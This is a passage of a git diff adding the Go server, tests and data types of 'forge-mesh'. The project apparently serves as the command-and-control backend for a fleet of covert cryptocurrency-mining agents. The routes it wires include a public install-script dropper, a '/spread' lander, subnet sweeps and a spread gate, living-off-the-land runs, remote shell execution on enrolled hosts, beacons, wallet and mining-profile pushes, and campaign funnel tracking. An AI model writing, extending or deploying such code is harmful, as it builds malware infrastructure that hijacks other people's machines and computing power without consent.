"/api/v1/fleet") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 fleet summary" +} + +func testFleetHosts(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/fleet/hosts") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var body map[string]any + _ = json.NewDecoder(resp.Body).Decode(&body) + if _, ok := body["hosts"]; !ok { + return false, "missing hosts key" + } + return true, "200 hosts list" +} + +func testMiningProfile(t *testing.T, ts *testutil.TestServer) (bool, string) { + body := bytes.NewBufferString(`{"wallet_address":"4integrationtestwallet","name":"Integration"}`) + resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/mining-profile", body) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 profile pushed" +} + +func testFleetAction(t *testing.T, ts *testutil.TestServer, action string) (bool, string) { + body := bytes.NewBufferString(fmt.Sprintf(`{"action":%q}`, action)) + resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 " + action + " dispatched" +} + +func testLOTLTimeline(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/fleet/"+testHostID+"/lotl/timeline") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var body map[string]any + if err := json.NewDecoder(resp.Body).Decode(&body); err != nil { + return false, err.Error() + } + if _, ok := body["timeline"]; !ok { + return false, "missing timeline" + } + return true, "200 LOTL timeline" +} + +func testForgeBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/forge/builds") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 forge builds" +} + +func testCalibrateProfiles(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/calibrate/profiles") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 calibrate profiles" +} + +func testCrucibleBatch(t *testing.T, ts *testutil.TestServer) (bool, string) { + body := bytes.NewBufferString(fmt.Sprintf(`{"command":"status","host_ids":[%q]}`, testHostID)) + resp, err := basicPost(ts, "/api/v1/crucible/batch", body) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var job map[string]any + if err := json.NewDecoder(resp.Body).Decode(&job); err != nil { + return false, err.Error() + } + id, _ := job["id"].(string) + if id == "" { + return false, "missing job id" + } + testBatchID = id + return true, "200 batch created" +} + +func testCrucibleBatchGet(t *testing.T, ts *testutil.TestServer) (bool, string) { + if testBatchID == "" { + return false, "no batch id from prior test" + } + resp, err := basicGet(ts, "/api/v1/crucible/batch/"+testBatchID) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 batch status" +} + +func testCrucibleExec(t *testing.T, ts *testutil.TestServer) (bool, string) { + body := bytes.NewBufferString(fmt.Sprintf(`{"host_id":%q,"command":"shell echo hi"}`, testHostID)) + resp, err := basicPost(ts, "/api/v1/crucible/exec", body) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 exec dispatched" +} + +func testSeerSSE(t *testing.T, ts *testutil.TestServer, path string) (bool, string) { + req, _ := http.NewRequest(http.MethodGet, ts.URL+path, nil) + req.SetBasicAuth(ts.BasicUser, ts.BasicPass) + req.Header.Set("Accept", "text/event-stream") + + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + req = req.WithContext(ctx) + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + ct := resp.Header.Get("Content-Type") + if !strings.Contains(ct, "text/event-stream") { + return false, "not SSE: " + ct + } + + reader := bufio.NewReader(resp.Body) + line, err := reader.ReadString('\n') + if err != nil && err != io.EOF { + return false, err.Error() + } + if !strings.HasPrefix(line, "data:") { + return false, "no SSE data line" + } + return true, "200 SSE stream" +} + +func testWarRoom(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/war-room/campaigns") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var body map[string]any + _ = json.NewDecoder(resp.Body).Decode(&body) + campaigns, _ := body["campaigns"].([]any) + if len(campaigns) == 0 { + return false, "empty campaigns" + } + return true, "200 war room campaigns" +} + +func testWireGuardList(t *testing.T, ts *testutil.TestServer) (bool, string) { + resp, err := basicGet(ts, "/api/v1/wireguard/peers") + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "200 peers list" +} + +func testWireGuardCreate(t *testing.T, ts *testutil.TestServer) (bool, string) { + body := bytes.NewBufferString(`{"host_id":"` + testHostID + `","public_key":"wg-test-pubkey","endpoint":"10.0.0.1:51820"}`) + resp, err := basicPost(ts, "/api/v1/wireguard/peers", body) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusCreated { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + return true, "201 peer created" +} + +func testWSTicket(t *testing.T, ts *testutil.TestServer) (bool, string) { + req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil) + req.SetBasicAuth(ts.BasicUser, ts.BasicPass) + resp, err := http.DefaultClient.Do(req) + if err != nil { + return false, err.Error() + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + var out struct { + Ticket string `json:"ticket"` + } + if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" { + return false, "empty ticket" + } + return true, "200 ticket issued" +} + +func testWSFleetDeck(t *testing.T, ts *testutil.TestServer) (bool, string) { + ticket := issueTicket(t, ts) + wsURL := wsURL(ts.URL, "/api/v1/ws/fleet?ticket="+url.QueryEscape(ticket)) + + conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + return false, err.Error() + } + defer conn.Close() + if resp.StatusCode != http.StatusSwitchingProtocols { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + _ = conn.WriteMessage(websocket.PingMessage, nil) + return true, "101 deck connected" +} + +func testWSFleetAgentHeartbeat(t *testing.T, ts *testutil.TestServer) (bool, string) { + conn, resp, err := dialAgentWS(ts) + if err != nil { + return false, err.Error() + } + defer conn.Close() + if resp.StatusCode != http.StatusSwitchingProtocols { + return false, fmt.Sprintf("status %d", resp.StatusCode) + } + + hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"ws-agent","hashrate_hps":5000}`, testHostID) + if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil { + return false, err.Error() + } + conn.SetReadDeadline(time.Now().Add(2 * time.Second)) + _, _, err = conn.ReadMessage() + if err != nil && !strings.Contains(err.Error(), "timeout") { + // heartbeat may not produce a direct reply; connection staying open is success + } + return true, "101 agent heartbeat sent" +} + +func testWSCommandRoundtrip(t *testing.T, ts *testutil.TestServer) (bool, string) { + conn, _, err := dialAgentWS(ts) + if err != nil { + return false, err.Error() + } + defer conn.Close() + + cmdCh := make(chan []byte, 1) + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + return + } + var frame map[string]any + if json.Unmarshal(msg, &frame) == nil && frame["type"] == "command" { + cmdCh <- msg + return + } + } + }() + + hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"cmd-agent","hashrate_hps":9000}`, testHostID) + if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil { + return false, err.Error() + } + + time.Sleep(300 * time.Millisecond) + + body := bytes.NewBufferString(`{"action":"pause"}`) + resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body) + if err != nil { + return false, err.Error() + } + resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false, fmt.Sprintf("action status %d", resp.StatusCode) + } + + select { + case msg := <-cmdCh: + var frame map[string]any + _ = json.Unmarshal(msg, &frame) + return true, fmt.Sprintf("command action=%v", frame["command"]) + case <-time.After(5 * time.Second): + return false, "no command frame received" + } +} + +func dialAgentWS(ts *testutil.TestServer) (*websocket.Conn, *http.Response, error) { + wsURL := wsURL(ts.URL, "/api/v1/ws/fleet") + header := http.Header{} + header.Set("Authorization", "Bearer "+ts.FleetSecret) + return websocket.DefaultDialer.Dial(wsURL, header) +} + +func issueTicket(t *testing.T, ts *testutil.TestServer) string { + t.Helper() + req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil) + req.SetBasicAuth(ts.BasicUser, ts.BasicPass) + resp, err := http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + var out struct { + Ticket string `json:"ticket"` + } + if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" { + t.Fatal("ticket issue failed") + } + return out.Ticket +} + +func wsURL(httpURL, path string) string { + u, _ := url.Parse(httpURL) + u.Scheme = strings.Replace(u.Scheme, "http", "ws", 1) + u.Path = "" + u.RawPath = "" + u.RawQuery = "" + if strings.Contains(path, "?") { + parts := strings.SplitN(path, "?", 2) + u.Path = parts[0] + u.RawQuery = parts[1] + } else { + u.Path = path + } + return u.String() +} + +func basicGet(ts *testutil.TestServer, path string) (*http.Response, error) { + req, err := http.NewRequest(http.MethodGet, ts.URL+path, nil) + if err != nil { + return nil, err + } + req.SetBasicAuth(ts.BasicUser, ts.BasicPass) + return http.DefaultClient.Do(req) +} + +func basicPost(ts *testutil.TestServer, path string, body io.Reader) (*http.Response, error) { + req, err := http.NewRequest(http.MethodPost, ts.URL+path, body) + if err != nil { + return nil, err + } + req.SetBasicAuth(ts.BasicUser, ts.BasicPass) + req.Header.Set("Content-Type", "application/json") + return http.DefaultClient.Do(req) +} + +// Ensure unused import guard for sql in case of build tags +var _ = sql.ErrNoRows diff --git a/internal/api/router_test.go b/internal/api/router_test.go new file mode 100644 index 0000000..79d56f0 --- /dev/null +++ b/internal/api/router_test.go @@ -0,0 +1,186 @@ +package api + +import ( + "encoding/json" + "io/fs" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + "testing/fstest" + + "forge-mesh/internal/config" + "forge-mesh/internal/db" + "forge-mesh/internal/forge" +) + +func TestHealthAndPublicRoutes(t *testing.T) { + dir := t.TempDir() + cfgPath := filepath.Join(dir, "config.json") + writeTestConfig(t, cfgPath, dir) + + cfg, err := config.Load(cfgPath) + if err != nil { + t.Fatal(err) + } + if err := cfg.EnsureDataDirs(); err != nil { + t.Fatal(err) + } + + conn, err := db.Open(cfg.DatabasePath) + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + t.Fatal(err) + } + + tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl") + static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("")}} + + srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex()) + if err != nil { + t.Fatal(err) + } + + ts := httptest.NewServer(srv.Handler()) + defer ts.Close() + + resp, err := http.Get(ts.URL + "/api/v1/health") + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + t.Fatalf("health: %d", resp.StatusCode) + } + + resp, err = http.Get(ts.URL + "/install.sh") + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + t.Fatalf("install.sh: %d", resp.StatusCode) + } + + resp, err = http.Get(ts.URL + "/get") + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusFound { + t.Fatalf("get redirect: %d", resp.StatusCode) + } +} + +func TestProtectedFleetRequiresAuth(t *testing.T) { + dir := t.TempDir() + cfgPath := filepath.Join(dir, "config.json") + writeTestConfig(t, cfgPath, dir) + + cfg, _ := config.Load(cfgPath) + _ = cfg.EnsureDataDirs() + conn, _ := db.Open(cfg.DatabasePath) + defer conn.Close() + + kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl") + static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}} + + srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex()) + if err != nil { + t.Fatal(err) + } + + ts := httptest.NewServer(srv.Handler()) + defer ts.Close() + + resp, err := http.Get(ts.URL + "/api/v1/fleet/hosts") + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusUnauthorized { + t.Fatalf("expected 401, got %d", resp.StatusCode) + } + + req, _ := http.NewRequest(http.MethodGet, ts.URL+"/api/v1/fleet/hosts", nil) + req.SetBasicAuth("admin", "changeme") + resp, err = http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + t.Fatalf("expected 200, got %d", resp.StatusCode) + } + + var body map[string]any + _ = json.NewDecoder(resp.Body).Decode(&body) + if _, ok := body["hosts"]; !ok { + t.Fatalf("expected hosts key in %v", body) + } +} + +func TestWSTicketFlow(t *testing.T) { + dir := t.TempDir() + cfgPath := filepath.Join(dir, "config.json") + writeTestConfig(t, cfgPath, dir) + + cfg, _ := config.Load(cfgPath) + _ = cfg.EnsureDataDirs() + conn, _ := db.Open(cfg.DatabasePath) + defer conn.Close() + + kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl") + static := fs.FS(fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}}) + + srv, _ := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex()) + ts := httptest.NewServer(srv.Handler()) + defer ts.Close() + + req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil) + req.SetBasicAuth("admin", "changeme") + resp, err := http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + t.Fatalf("ticket: %d", resp.StatusCode) + } + + var out struct { + Ticket string `json:"ticket"` + } + if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" { + t.Fatal("expected ticket") + } +} + +func writeTestConfig(t *testing.T, path, dir string) { + t.Helper() + content := `{ + "listen_addr": ":0", + "data_dir": "` + dir + `", + "database_path": "` + filepath.Join(dir, "test.db") + `", + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "test-fleet-secret" + }, + "forge": { + "signing_key_path": "` + filepath.Join(dir, "signing.key") + `", + "artifacts_dir": "` + filepath.Join(dir, "artifacts") + `" + } +}` + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } +} diff --git a/internal/api/server.go b/internal/api/server.go new file mode 100644 index 0000000..5ebe336 --- /dev/null +++ b/internal/api/server.go @@ -0,0 +1,256 @@ +package api + +import ( + "database/sql" + "io" + "io/fs" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "forge-mesh/internal/alerts" + "forge-mesh/internal/api/handlers" + "forge-mesh/internal/auth" + "forge-mesh/internal/config" + "forge-mesh/internal/court" + "forge-mesh/internal/erasure" + "forge-mesh/internal/fleet" + "forge-mesh/internal/forge" +) + +// Server is the forge-mesh HTTP control plane. +type Server struct { + cfg *config.Config + mux http.Handler + staticFS fs.FS +} + +// NewServer wires routes, fleet hub, and static SPA handler. +func NewServer( + cfg *config.Config, + db *sql.DB, + staticFS fs.FS, + version, installTmplPath, publicKeyHex string, +) (*Server, error) { + store := fleet.NewStore(db) + _ = store.SeedDemoHost() + + tickets := auth.NewTicketStore(5 * time.Minute) + hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets) + crucible := fleet.NewCrucibleStore(100) + + tgCfg := alerts.Config{ + Enabled: cfg.Telegram.Enabled, + BotToken: cfg.Telegram.BotToken, + ChatID: cfg.Telegram.ChatID, + } + notifier := alerts.New(tgCfg) + + public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath) + if err != nil { + return nil, err + } + public.FleetSecret = cfg.Auth.FleetSecret + public.Version = version + + pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath, + filepath.Join("cmd", "agent"), version) + if err != nil { + return nil, err + } + + clearance := cfg.OperatorClearance + fleetH := &handlers.FleetHandler{ + Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance, + } + crucibleH := &handlers.CrucibleHandler{ + Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance, + } + policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store} + forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version} + seerH := &handlers.SeerHandler{ + Store: store, + Username: cfg.Auth.BasicUsername, + Password: cfg.Auth.BasicPassword, + } + authH := &handlers.AuthHandlers{Tickets: tickets} + opH := &handlers.OperatorHandler{Clearance: clearance} + dropperH := &handlers.DropperHandler{ + DB: db, + PublicKeyHex: publicKeyHex, + FleetSecret: cfg.Auth.FleetSecret, + Version: version, + } + erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)} + policySnapH := &handlers.PolicySnapshotHandler{DB: db} + warRoomH := &handlers.WarRoomHandler{DB: db} + wgH := &handlers.WireGuardHandler{DB: db} + crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH} + + courtSvc := court.New(db, cfg.Court, store) + intelDeps := handlers.IntelligenceDeps{ + Store: store, + Subnet: &fleet.SubnetMapper{Store: store}, + Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()}, + } + courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)} + + mux := http.NewServeMux() + + // Public + mux.HandleFunc("GET /api/v1/health", handlers.Health(version)) + mux.HandleFunc("GET /install.sh", public.InstallSh) + mux.HandleFunc("GET /get", public.GetRedirect) + mux.HandleFunc("GET /spread/", handlers.SpreadLander(db)) + mux.HandleFunc("GET /spread", handlers.SpreadLander(db)) + mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db)) + mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild) + mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download) + mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle) + mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard) + mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get) + mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db)) + + // Agent (fleet secret) + mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, + http.HandlerFunc(hub.HandleBeacon(store)))) + mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, + http.HandlerFunc(hub.HandleBeacon(store)))) + mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret, + http.HandlerFunc(fleetH.Register))) + mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS) + mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) { + if r.URL.Query().Get("ticket") != "" { + hub.HandleDeckWS(w, r) + return + } + hub.HandleAgentWS(w, r) + }) + + // Protected (Basic auth) + protected := http.NewServeMux() + protected.HandleFunc("GET /api/v1/fleet", fleetH.List) + protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List) + protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline) + protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps)) + protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps)) + protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps)) + protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps)) + protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps)) + protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps)) + protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps)) + protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps)) + protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps)) + protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command) + protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction) + protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile) + protected.HandleFunc("GET /api/v1/dropper", dropperH.Info) + protected.HandleFunc("GET /api/v1/operator/me", opH.Me) + protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket) + protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds) + protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild) + protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet) + protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet) + protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile) + protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile) + protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create) + protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg)) + protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch) + protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet) + protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec) + protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch) + protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob) + protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History) + protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)) + protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns) + protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers) + protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer) + protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig) + protected.HandleFunc("GET /seer", seerH.Stream) + + authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword) + mux.Handle("/api/v1/", authWrap(protected)) + mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream))) + + // Static SPA (React build embedded in webroot) + if staticFS != nil { + fileServer := http.FileServer(http.FS(staticFS)) + mux.Handle("/", spaFallback(staticFS, fileServer)) + } + + return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil +} + +func (s *Server) Handler() http.Handler { + return s.mux +} + +func spaFallback(staticFS fs.FS, next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") { + http.NotFound(w, r) + return + } + + path := strings.TrimPrefix(r.URL.Path, "/") + if path == "" { + path = "index.html" + } + + if _, err := fs.Stat(staticFS, path); err != nil { + // Client-side route — serve index.html + if data, err := fs.ReadFile(staticFS, "index.html"); err == nil { + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Write(data) + return + } + } + + next.ServeHTTP(w, r) + }) +} + +// SyncWebroot copies web/dist into cmd/server/webroot for go:embed. +func SyncWebroot(distDir, webrootDir string) error { + if err := os.RemoveAll(webrootDir); err != nil { + return err + } + return copyDir(distDir, webrootDir) +} + +func copyDir(src, dst string) error { + return filepath.Walk(src, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + rel, err := filepath.Rel(src, path) + if err != nil { + return err + } + target := filepath.Join(dst, rel) + if info.IsDir() { + return os.MkdirAll(target, 0o755) + } + return copyFile(path, target) + }) +} + +func copyFile(src, dst string) error { + if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil { + return err + } + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + _, err = io.Copy(out, in) + return err +} diff --git a/internal/api/types/build.go b/internal/api/types/build.go new file mode 100644 index 0000000..4eb2fb2 --- /dev/null +++ b/internal/api/types/build.go @@ -0,0 +1,16 @@ +package types + +import "time" + +// Build represents a forge-produced agent artifact. +type Build struct { + ID string `json:"id"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` + Checksum string `json:"checksum"` + Signature string `json:"signature,omitempty"` + Public bool `json:"public"` + Path string `json:"path,omitempty"` + CreatedAt time.Time `json:"created_at"` +} diff --git a/internal/api/types/campaign.go b/internal/api/types/campaign.go new file mode 100644 index 0000000..8df8f41 --- /dev/null +++ b/internal/api/types/campaign.go @@ -0,0 +1,13 @@ +package types + +import "time" + +// Campaign tracks Emberwake funnel tags (?c=). +type Campaign struct { + ID string `json:"id"` + Code string `json:"code"` + Name string `json:"name"` + Pin string `json:"pin,omitempty"` + Heat int `json:"heat"` + CreatedAt time.Time `json:"created_at"` +} diff --git a/internal/api/types/host.go b/internal/api/types/host.go new file mode 100644 index 0000000..f27c11c --- /dev/null +++ b/internal/api/types/host.go @@ -0,0 +1,22 @@ +package types + +import "time" + +// Host represents an enrolled fleet member. +type Host struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + Fingerprint string `json:"fingerprint,omitempty"` + Phenotype string `json:"phenotype,omitempty"` + Status string `json:"status"` + Hashrate float64 `json:"hashrate"` + HashrateHps float64 `json:"hashrate_hps"` + CurrentTier int `json:"current_tier"` + TierType string `json:"tier_type,omitempty"` + TierState string `json:"tier_state,omitempty"` + ClearanceLevel int `json:"clearance_level"` + MiningProfileID *string `json:"mining_profile_id,omitempty"` + LastSeenAt *time.Time `json:"last_seen_at,omitempty"` + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} diff --git a/internal/api/types/message.go b/internal/api/types/message.go new file mode 100644 index 0000000..ab8c2d8 --- /dev/null +++ b/internal/api/types/message.go @@ -0,0 +1,63 @@ +package types + +import "time" + +// HeartbeatPayload is sent by agents over WS or beacon. +type HeartbeatPayload struct { + HostID string `json:"host_id,omitempty"` + Hostname string `json:"hostname"` + Arch string `json:"arch,omitempty"` + Hashrate float64 `json:"hashrate"` + HashrateHps float64 `json:"hashrate_hps"` + CurrentTier int `json:"current_tier"` + TierType string `json:"tier_type,omitempty"` + TierState string `json:"tier_state,omitempty"` + Fingerprint string `json:"fingerprint,omitempty"` +} + +// SetHashrateFields keeps hashrate and hashrate_hps in sync for older clients. +func (h *HeartbeatPayload) SetHashrateFields(hps float64) { + h.HashrateHps = hps + h.Hashrate = hps +} + +// EffectiveHashrate returns hashrate_hps when set, otherwise legacy hashrate. +func (h HeartbeatPayload) EffectiveHashrate() float64 { + if h.HashrateHps > 0 { + return h.HashrateHps + } + return h.Hashrate +} + +// BeaconResponse is returned by HTTPS beacon fallback. +type BeaconResponse struct { + Commands []FleetCommand `json:"commands"` + OK bool `json:"ok"` + Profile *MiningProfile `json:"mining_profile,omitempty"` +} + +// WsMessage is the wire format for fleet WebSocket frames. +type WsMessage struct { + Type string `json:"type"` + Host *Host `json:"host,omitempty"` + HostID string `json:"host_id,omitempty"` + Command *FleetCommand `json:"command,omitempty"` + Payload map[string]any `json:"payload,omitempty"` + Timestamp string `json:"timestamp,omitempty"` +} + +// FleetCommand is dispatched from deck to agent. +type FleetCommand struct { + ID string `json:"id"` + Action string `json:"action"` + Args map[string]any `json:"args,omitempty"` + IssuedAt time.Time `json:"issued_at"` +} + +// MiningProfileRequest assigns or updates a host mining profile. +type MiningProfileRequest struct { + ProfileID string `json:"profile_id,omitempty"` + Name string `json:"name,omitempty"` + WalletAddress string `json:"wallet_address"` + Tiers []MiningTierSpec `json:"tiers,omitempty"` +} diff --git a/internal/api/types/mining_profile.go b/internal/api/types/mining_profile.go new file mode 100644 index 0000000..792b4df --- /dev/null +++ b/internal/api/types/mining_profile.go @@ -0,0 +1,21 @@ +package types + +import "time" + +// MiningTierSpec defines one step in a tiered miner chain. +type MiningTierSpec struct { + Type 